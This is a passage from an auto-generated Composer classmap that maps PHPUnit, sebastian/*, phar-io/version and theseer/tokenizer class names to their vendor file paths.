'/phar-io/version/src/exceptions/Exception.php', 'PharIo\\Version\\GreaterThanOrEqualToVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/GreaterThanOrEqualToVersionConstraint.php', 'PharIo\\Version\\InvalidPreReleaseSuffixException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/InvalidPreReleaseSuffixException.php', 'PharIo\\Version\\InvalidVersionException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/InvalidVersionException.php', 'PharIo\\Version\\NoBuildMetaDataException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/NoBuildMetaDataException.php', 'PharIo\\Version\\NoPreReleaseSuffixException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/NoPreReleaseSuffixException.php', 'PharIo\\Version\\OrVersionConstraintGroup' => __DIR__ . '/..' . '/phar-io/version/src/constraints/OrVersionConstraintGroup.php', 'PharIo\\Version\\PreReleaseSuffix' => __DIR__ . '/..' . '/phar-io/version/src/PreReleaseSuffix.php', 'PharIo\\Version\\SpecificMajorAndMinorVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/SpecificMajorAndMinorVersionConstraint.php', 'PharIo\\Version\\SpecificMajorVersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/SpecificMajorVersionConstraint.php', 'PharIo\\Version\\UnsupportedVersionConstraintException' => __DIR__ . '/..' . '/phar-io/version/src/exceptions/UnsupportedVersionConstraintException.php', 'PharIo\\Version\\Version' => __DIR__ . '/..' . '/phar-io/version/src/Version.php', 'PharIo\\Version\\VersionConstraint' => __DIR__ . '/..' . '/phar-io/version/src/constraints/VersionConstraint.php', 'PharIo\\Version\\VersionConstraintParser' => __DIR__ . '/..' . '/phar-io/version/src/VersionConstraintParser.php', 'PharIo\\Version\\VersionConstraintValue' => __DIR__ . '/..' . '/phar-io/version/src/VersionConstraintValue.php', 'PharIo\\Version\\VersionNumber' => __DIR__ . '/..' . '/phar-io/version/src/VersionNumber.php', 'SebastianBergmann\\CliParser\\AmbiguousOptionException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/AmbiguousOptionException.php', 'SebastianBergmann\\CliParser\\Exception' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/Exception.php', 'SebastianBergmann\\CliParser\\OptionDoesNotAllowArgumentException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/OptionDoesNotAllowArgumentException.php', 'SebastianBergmann\\CliParser\\Parser' => __DIR__ . '/..' . '/sebastian/cli-parser/src/Parser.php', 'SebastianBergmann\\CliParser\\RequiredOptionArgumentMissingException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/RequiredOptionArgumentMissingException.php', 'SebastianBergmann\\CliParser\\UnknownOptionException' => __DIR__ . '/..' . '/sebastian/cli-parser/src/exceptions/UnknownOptionException.php', 'SebastianBergmann\\CodeCoverage\\BranchAndPathCoverageNotSupportedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/BranchAndPathCoverageNotSupportedException.php', 'SebastianBergmann\\CodeCoverage\\CodeCoverage' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/CodeCoverage.php', 'SebastianBergmann\\CodeCoverage\\DeadCodeDetectionNotSupportedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/DeadCodeDetectionNotSupportedException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Driver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Driver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PathExistsButIsNotDirectoryException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/PathExistsButIsNotDirectoryException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PcovDriver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/PcovDriver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PcovNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/PcovNotAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgDriver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/PhpdbgDriver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\PhpdbgNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/PhpdbgNotAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Selector' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Selector.php', 'SebastianBergmann\\CodeCoverage\\Driver\\WriteOperationFailedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/WriteOperationFailedException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\WrongXdebugVersionException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/WrongXdebugVersionException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2Driver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Xdebug2Driver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug2NotEnabledException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/Xdebug2NotEnabledException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3Driver' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Driver/Xdebug3Driver.php', 'SebastianBergmann\\CodeCoverage\\Driver\\Xdebug3NotEnabledException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/Xdebug3NotEnabledException.php', 'SebastianBergmann\\CodeCoverage\\Driver\\XdebugNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/XdebugNotAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Exception' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/Exception.php', 'SebastianBergmann\\CodeCoverage\\Filter' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Filter.php', 'SebastianBergmann\\CodeCoverage\\InvalidArgumentException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/InvalidArgumentException.php', 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverAvailableException.php', 'SebastianBergmann\\CodeCoverage\\NoCodeCoverageDriverWithPathCoverageSupportAvailableException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/NoCodeCoverageDriverWithPathCoverageSupportAvailableException.php', 'SebastianBergmann\\CodeCoverage\\Node\\AbstractNode' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/AbstractNode.php', 'SebastianBergmann\\CodeCoverage\\Node\\Builder' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/Builder.php', 'SebastianBergmann\\CodeCoverage\\Node\\CrapIndex' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/CrapIndex.php', 'SebastianBergmann\\CodeCoverage\\Node\\Directory' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/Directory.php', 'SebastianBergmann\\CodeCoverage\\Node\\File' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/File.php', 'SebastianBergmann\\CodeCoverage\\Node\\Iterator' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Node/Iterator.php', 'SebastianBergmann\\CodeCoverage\\ParserException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/ParserException.php', 'SebastianBergmann\\CodeCoverage\\ProcessedCodeCoverageData' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/ProcessedCodeCoverageData.php', 'SebastianBergmann\\CodeCoverage\\RawCodeCoverageData' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/RawCodeCoverageData.php', 'SebastianBergmann\\CodeCoverage\\ReflectionException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/ReflectionException.php', 'SebastianBergmann\\CodeCoverage\\ReportAlreadyFinalizedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/ReportAlreadyFinalizedException.php', 'SebastianBergmann\\CodeCoverage\\Report\\Clover' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Clover.php', 'SebastianBergmann\\CodeCoverage\\Report\\Cobertura' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Cobertura.php', 'SebastianBergmann\\CodeCoverage\\Report\\Crap4j' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Crap4j.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Dashboard' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Dashboard.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Directory' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer/Directory.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Facade' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Facade.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\File' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer/File.php', 'SebastianBergmann\\CodeCoverage\\Report\\Html\\Renderer' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Html/Renderer.php', 'SebastianBergmann\\CodeCoverage\\Report\\PHP' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/PHP.php', 'SebastianBergmann\\CodeCoverage\\Report\\Text' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Text.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\BuildInformation' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/BuildInformation.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Coverage' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Coverage.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Directory' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Directory.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Facade' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Facade.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\File' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/File.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Method' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Method.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Node' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Node.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Project' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Project.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Report' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Report.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Source' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Source.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Tests' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Tests.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Totals' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Totals.php', 'SebastianBergmann\\CodeCoverage\\Report\\Xml\\Unit' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Report/Xml/Unit.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysisCacheNotConfiguredException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/StaticAnalysisCacheNotConfiguredException.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CacheWarmer' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/CacheWarmer.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CachingFileAnalyser' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/CachingFileAnalyser.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\CodeUnitFindingVisitor' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/CodeUnitFindingVisitor.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ExecutableLinesFindingVisitor' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/ExecutableLinesFindingVisitor.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\FileAnalyser' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/FileAnalyser.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\IgnoredLinesFindingVisitor' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php', 'SebastianBergmann\\CodeCoverage\\StaticAnalysis\\ParsingFileAnalyser' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php', 'SebastianBergmann\\CodeCoverage\\TestIdMissingException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/TestIdMissingException.php', 'SebastianBergmann\\CodeCoverage\\UnintentionallyCoveredCodeException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/UnintentionallyCoveredCodeException.php', 'SebastianBergmann\\CodeCoverage\\Util\\DirectoryCouldNotBeCreatedException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/DirectoryCouldNotBeCreatedException.php', 'SebastianBergmann\\CodeCoverage\\Util\\Filesystem' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Util/Filesystem.php', 'SebastianBergmann\\CodeCoverage\\Util\\Percentage' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Util/Percentage.php', 'SebastianBergmann\\CodeCoverage\\Version' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Version.php', 'SebastianBergmann\\CodeCoverage\\XmlException' => __DIR__ . '/..' . '/phpunit/php-code-coverage/src/Exception/XmlException.php', 'SebastianBergmann\\CodeUnitReverseLookup\\Wizard' => __DIR__ . '/..' . '/sebastian/code-unit-reverse-lookup/src/Wizard.php', 'SebastianBergmann\\CodeUnit\\ClassMethodUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/ClassMethodUnit.php', 'SebastianBergmann\\CodeUnit\\ClassUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/ClassUnit.php', 'SebastianBergmann\\CodeUnit\\CodeUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/CodeUnit.php', 'SebastianBergmann\\CodeUnit\\CodeUnitCollection' => __DIR__ . '/..' . '/sebastian/code-unit/src/CodeUnitCollection.php', 'SebastianBergmann\\CodeUnit\\CodeUnitCollectionIterator' => __DIR__ . '/..' . '/sebastian/code-unit/src/CodeUnitCollectionIterator.php', 'SebastianBergmann\\CodeUnit\\Exception' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/Exception.php', 'SebastianBergmann\\CodeUnit\\FunctionUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/FunctionUnit.php', 'SebastianBergmann\\CodeUnit\\InterfaceMethodUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/InterfaceMethodUnit.php', 'SebastianBergmann\\CodeUnit\\InterfaceUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/InterfaceUnit.php', 'SebastianBergmann\\CodeUnit\\InvalidCodeUnitException' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/InvalidCodeUnitException.php', 'SebastianBergmann\\CodeUnit\\Mapper' => __DIR__ . '/..' . '/sebastian/code-unit/src/Mapper.php', 'SebastianBergmann\\CodeUnit\\NoTraitException' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/NoTraitException.php', 'SebastianBergmann\\CodeUnit\\ReflectionException' => __DIR__ . '/..' . '/sebastian/code-unit/src/exceptions/ReflectionException.php', 'SebastianBergmann\\CodeUnit\\TraitMethodUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/TraitMethodUnit.php', 'SebastianBergmann\\CodeUnit\\TraitUnit' => __DIR__ . '/..' . '/sebastian/code-unit/src/TraitUnit.php', 'SebastianBergmann\\Comparator\\ArrayComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ArrayComparator.php', 'SebastianBergmann\\Comparator\\Comparator' => __DIR__ . '/..' . '/sebastian/comparator/src/Comparator.php', 'SebastianBergmann\\Comparator\\ComparisonFailure' => __DIR__ . '/..' . '/sebastian/comparator/src/ComparisonFailure.php', 'SebastianBergmann\\Comparator\\DOMNodeComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/DOMNodeComparator.php', 'SebastianBergmann\\Comparator\\DateTimeComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/DateTimeComparator.php', 'SebastianBergmann\\Comparator\\DoubleComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/DoubleComparator.php', 'SebastianBergmann\\Comparator\\Exception' => __DIR__ . '/..' . '/sebastian/comparator/src/exceptions/Exception.php', 'SebastianBergmann\\Comparator\\ExceptionComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ExceptionComparator.php', 'SebastianBergmann\\Comparator\\Factory' => __DIR__ . '/..' . '/sebastian/comparator/src/Factory.php', 'SebastianBergmann\\Comparator\\MockObjectComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/MockObjectComparator.php', 'SebastianBergmann\\Comparator\\NumericComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/NumericComparator.php', 'SebastianBergmann\\Comparator\\ObjectComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ObjectComparator.php', 'SebastianBergmann\\Comparator\\ResourceComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ResourceComparator.php', 'SebastianBergmann\\Comparator\\RuntimeException' => __DIR__ . '/..' . '/sebastian/comparator/src/exceptions/RuntimeException.php', 'SebastianBergmann\\Comparator\\ScalarComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/ScalarComparator.php', 'SebastianBergmann\\Comparator\\SplObjectStorageComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/SplObjectStorageComparator.php', 'SebastianBergmann\\Comparator\\TypeComparator' => __DIR__ . '/..' . '/sebastian/comparator/src/TypeComparator.php', 'SebastianBergmann\\Complexity\\Calculator' => __DIR__ . '/..' . '/sebastian/complexity/src/Calculator.php', 'SebastianBergmann\\Complexity\\Complexity' => __DIR__ . '/..' . '/sebastian/complexity/src/Complexity/Complexity.php', 'SebastianBergmann\\Complexity\\ComplexityCalculatingVisitor' => __DIR__ . '/..' . '/sebastian/complexity/src/Visitor/ComplexityCalculatingVisitor.php', 'SebastianBergmann\\Complexity\\ComplexityCollection' => __DIR__ . '/..' . '/sebastian/complexity/src/Complexity/ComplexityCollection.php', 'SebastianBergmann\\Complexity\\ComplexityCollectionIterator' => __DIR__ . '/..' . '/sebastian/complexity/src/Complexity/ComplexityCollectionIterator.php', 'SebastianBergmann\\Complexity\\CyclomaticComplexityCalculatingVisitor' => __DIR__ . '/..' . '/sebastian/complexity/src/Visitor/CyclomaticComplexityCalculatingVisitor.php', 'SebastianBergmann\\Complexity\\Exception' => __DIR__ . '/..' . '/sebastian/complexity/src/Exception/Exception.php', 'SebastianBergmann\\Complexity\\RuntimeException' => __DIR__ . '/..' . '/sebastian/complexity/src/Exception/RuntimeException.php', 'SebastianBergmann\\Diff\\Chunk' => __DIR__ . '/..' . '/sebastian/diff/src/Chunk.php', 'SebastianBergmann\\Diff\\ConfigurationException' => __DIR__ . '/..' . '/sebastian/diff/src/Exception/ConfigurationException.php', 'SebastianBergmann\\Diff\\Diff' => __DIR__ . '/..' . '/sebastian/diff/src/Diff.php', 'SebastianBergmann\\Diff\\Differ' => __DIR__ . '/..' . '/sebastian/diff/src/Differ.php', 'SebastianBergmann\\Diff\\Exception' => __DIR__ . '/..' . '/sebastian/diff/src/Exception/Exception.php', 'SebastianBergmann\\Diff\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/diff/src/Exception/InvalidArgumentException.php', 'SebastianBergmann\\Diff\\Line' => __DIR__ . '/..' . '/sebastian/diff/src/Line.php', 'SebastianBergmann\\Diff\\LongestCommonSubsequenceCalculator' => __DIR__ . '/..' . '/sebastian/diff/src/LongestCommonSubsequenceCalculator.php', 'SebastianBergmann\\Diff\\MemoryEfficientLongestCommonSubsequenceCalculator' => __DIR__ . '/..' . '/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php', 'SebastianBergmann\\Diff\\Output\\AbstractChunkOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php', 'SebastianBergmann\\Diff\\Output\\DiffOnlyOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php', 'SebastianBergmann\\Diff\\Output\\DiffOutputBuilderInterface' => __DIR__ . '/..' . '/sebastian/diff/src/Output/DiffOutputBuilderInterface.php', 'SebastianBergmann\\Diff\\Output\\StrictUnifiedDiffOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php', 'SebastianBergmann\\Diff\\Output\\UnifiedDiffOutputBuilder' => __DIR__ . '/..' . '/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php', 'SebastianBergmann\\Diff\\Parser' => __DIR__ . '/..' . '/sebastian/diff/src/Parser.php', 'SebastianBergmann\\Diff\\TimeEfficientLongestCommonSubsequenceCalculator' => __DIR__ . '/..' . '/sebastian/diff/src/TimeEfficientLongestCommonSubsequenceCalculator.php', 'SebastianBergmann\\Environment\\Console' => __DIR__ . '/..' . '/sebastian/environment/src/Console.php', 'SebastianBergmann\\Environment\\OperatingSystem' => __DIR__ . '/..' . '/sebastian/environment/src/OperatingSystem.php', 'SebastianBergmann\\Environment\\Runtime' => __DIR__ . '/..' . '/sebastian/environment/src/Runtime.php', 'SebastianBergmann\\Exporter\\Exporter' => __DIR__ . '/..' . '/sebastian/exporter/src/Exporter.php', 'SebastianBergmann\\FileIterator\\Facade' => __DIR__ . '/..' . '/phpunit/php-file-iterator/src/Facade.php', 'SebastianBergmann\\FileIterator\\Factory' => __DIR__ . '/..' . '/phpunit/php-file-iterator/src/Factory.php', 'SebastianBergmann\\FileIterator\\Iterator' => __DIR__ . '/..' . '/phpunit/php-file-iterator/src/Iterator.php', 'SebastianBergmann\\GlobalState\\CodeExporter' => __DIR__ . '/..' . '/sebastian/global-state/src/CodeExporter.php', 'SebastianBergmann\\GlobalState\\Exception' => __DIR__ . '/..' . '/sebastian/global-state/src/exceptions/Exception.php', 'SebastianBergmann\\GlobalState\\ExcludeList' => __DIR__ . '/..' . '/sebastian/global-state/src/ExcludeList.php', 'SebastianBergmann\\GlobalState\\Restorer' => __DIR__ . '/..' . '/sebastian/global-state/src/Restorer.php', 'SebastianBergmann\\GlobalState\\RuntimeException' => __DIR__ . '/..' . '/sebastian/global-state/src/exceptions/RuntimeException.php', 'SebastianBergmann\\GlobalState\\Snapshot' => __DIR__ . '/..' . '/sebastian/global-state/src/Snapshot.php', 'SebastianBergmann\\Invoker\\Exception' => __DIR__ . '/..' . '/phpunit/php-invoker/src/exceptions/Exception.php', 'SebastianBergmann\\Invoker\\Invoker' => __DIR__ . '/..' . '/phpunit/php-invoker/src/Invoker.php', 'SebastianBergmann\\Invoker\\ProcessControlExtensionNotLoadedException' => __DIR__ . '/..' . '/phpunit/php-invoker/src/exceptions/ProcessControlExtensionNotLoadedException.php', 'SebastianBergmann\\Invoker\\TimeoutException' => __DIR__ . '/..' . '/phpunit/php-invoker/src/exceptions/TimeoutException.php', 'SebastianBergmann\\LinesOfCode\\Counter' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Counter.php', 'SebastianBergmann\\LinesOfCode\\Exception' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/Exception.php', 'SebastianBergmann\\LinesOfCode\\IllogicalValuesException' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php', 'SebastianBergmann\\LinesOfCode\\LineCountingVisitor' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/LineCountingVisitor.php', 'SebastianBergmann\\LinesOfCode\\LinesOfCode' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/LinesOfCode.php', 'SebastianBergmann\\LinesOfCode\\NegativeValueException' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/NegativeValueException.php', 'SebastianBergmann\\LinesOfCode\\RuntimeException' => __DIR__ . '/..' . '/sebastian/lines-of-code/src/Exception/RuntimeException.php', 'SebastianBergmann\\ObjectEnumerator\\Enumerator' => __DIR__ . '/..' . '/sebastian/object-enumerator/src/Enumerator.php', 'SebastianBergmann\\ObjectEnumerator\\Exception' => __DIR__ . '/..' . '/sebastian/object-enumerator/src/Exception.php', 'SebastianBergmann\\ObjectEnumerator\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/object-enumerator/src/InvalidArgumentException.php', 'SebastianBergmann\\ObjectReflector\\Exception' => __DIR__ . '/..' . '/sebastian/object-reflector/src/Exception.php', 'SebastianBergmann\\ObjectReflector\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/object-reflector/src/InvalidArgumentException.php', 'SebastianBergmann\\ObjectReflector\\ObjectReflector' => __DIR__ . '/..' . '/sebastian/object-reflector/src/ObjectReflector.php', 'SebastianBergmann\\RecursionContext\\Context' => __DIR__ . '/..' . '/sebastian/recursion-context/src/Context.php', 'SebastianBergmann\\RecursionContext\\Exception' => __DIR__ . '/..' . '/sebastian/recursion-context/src/Exception.php', 'SebastianBergmann\\RecursionContext\\InvalidArgumentException' => __DIR__ . '/..' . '/sebastian/recursion-context/src/InvalidArgumentException.php', 'SebastianBergmann\\ResourceOperations\\ResourceOperations' => __DIR__ . '/..' . '/sebastian/resource-operations/src/ResourceOperations.php', 'SebastianBergmann\\Template\\Exception' => __DIR__ . '/..' . '/phpunit/php-text-template/src/exceptions/Exception.php', 'SebastianBergmann\\Template\\InvalidArgumentException' => __DIR__ . '/..' . '/phpunit/php-text-template/src/exceptions/InvalidArgumentException.php', 'SebastianBergmann\\Template\\RuntimeException' => __DIR__ . '/..' . '/phpunit/php-text-template/src/exceptions/RuntimeException.php', 'SebastianBergmann\\Template\\Template' => __DIR__ . '/..' . '/phpunit/php-text-template/src/Template.php', 'SebastianBergmann\\Timer\\Duration' => __DIR__ . '/..' . '/phpunit/php-timer/src/Duration.php', 'SebastianBergmann\\Timer\\Exception' => __DIR__ . '/..' . '/phpunit/php-timer/src/exceptions/Exception.php', 'SebastianBergmann\\Timer\\NoActiveTimerException' => __DIR__ . '/..' . '/phpunit/php-timer/src/exceptions/NoActiveTimerException.php', 'SebastianBergmann\\Timer\\ResourceUsageFormatter' => __DIR__ . '/..' . '/phpunit/php-timer/src/ResourceUsageFormatter.php', 'SebastianBergmann\\Timer\\TimeSinceStartOfRequestNotAvailableException' => __DIR__ . '/..' . '/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php', 'SebastianBergmann\\Timer\\Timer' => __DIR__ . '/..' . '/phpunit/php-timer/src/Timer.php', 'SebastianBergmann\\Type\\CallableType' => __DIR__ . '/..' . '/sebastian/type/src/type/CallableType.php', 'SebastianBergmann\\Type\\Exception' => __DIR__ . '/..' . '/sebastian/type/src/exception/Exception.php', 'SebastianBergmann\\Type\\FalseType' => __DIR__ . '/..' . '/sebastian/type/src/type/FalseType.php', 'SebastianBergmann\\Type\\GenericObjectType' => __DIR__ . '/..' . '/sebastian/type/src/type/GenericObjectType.php', 'SebastianBergmann\\Type\\IntersectionType' => __DIR__ . '/..' . '/sebastian/type/src/type/IntersectionType.php', 'SebastianBergmann\\Type\\IterableType' => __DIR__ . '/..' . '/sebastian/type/src/type/IterableType.php', 'SebastianBergmann\\Type\\MixedType' => __DIR__ . '/..' . '/sebastian/type/src/type/MixedType.php', 'SebastianBergmann\\Type\\NeverType' => __DIR__ . '/..' . '/sebastian/type/src/type/NeverType.php', 'SebastianBergmann\\Type\\NullType' => __DIR__ . '/..' . '/sebastian/type/src/type/NullType.php', 'SebastianBergmann\\Type\\ObjectType' => __DIR__ . '/..' . '/sebastian/type/src/type/ObjectType.php', 'SebastianBergmann\\Type\\ReflectionMapper' => __DIR__ . '/..' . '/sebastian/type/src/ReflectionMapper.php', 'SebastianBergmann\\Type\\RuntimeException' => __DIR__ . '/..' . '/sebastian/type/src/exception/RuntimeException.php', 'SebastianBergmann\\Type\\SimpleType' => __DIR__ . '/..' . '/sebastian/type/src/type/SimpleType.php', 'SebastianBergmann\\Type\\StaticType' => __DIR__ . '/..' . '/sebastian/type/src/type/StaticType.php', 'SebastianBergmann\\Type\\Type' => __DIR__ . '/..' . '/sebastian/type/src/type/Type.php', 'SebastianBergmann\\Type\\TypeName' => __DIR__ . '/..' . '/sebastian/type/src/TypeName.php', 'SebastianBergmann\\Type\\UnionType' => __DIR__ . '/..' . '/sebastian/type/src/type/UnionType.php', 'SebastianBergmann\\Type\\UnknownType' => __DIR__ . '/..' . '/sebastian/type/src/type/UnknownType.php', 'SebastianBergmann\\Type\\VoidType' => __DIR__ . '/..' . '/sebastian/type/src/type/VoidType.php', 'SebastianBergmann\\Version' => __DIR__ . '/..' . '/sebastian/version/src/Version.php', 'TheSeer\\Tokenizer\\Exception' => __DIR__ . '/..' . '/theseer/tokenizer/src/Exception.php', 'TheSeer\\Tokenizer\\NamespaceUri' => __DIR__ . '/..' . '/theseer/tokenizer/src/NamespaceUri.php', 'TheSeer\\Tokenizer\\NamespaceUriException' => __DIR__ . '/..' . 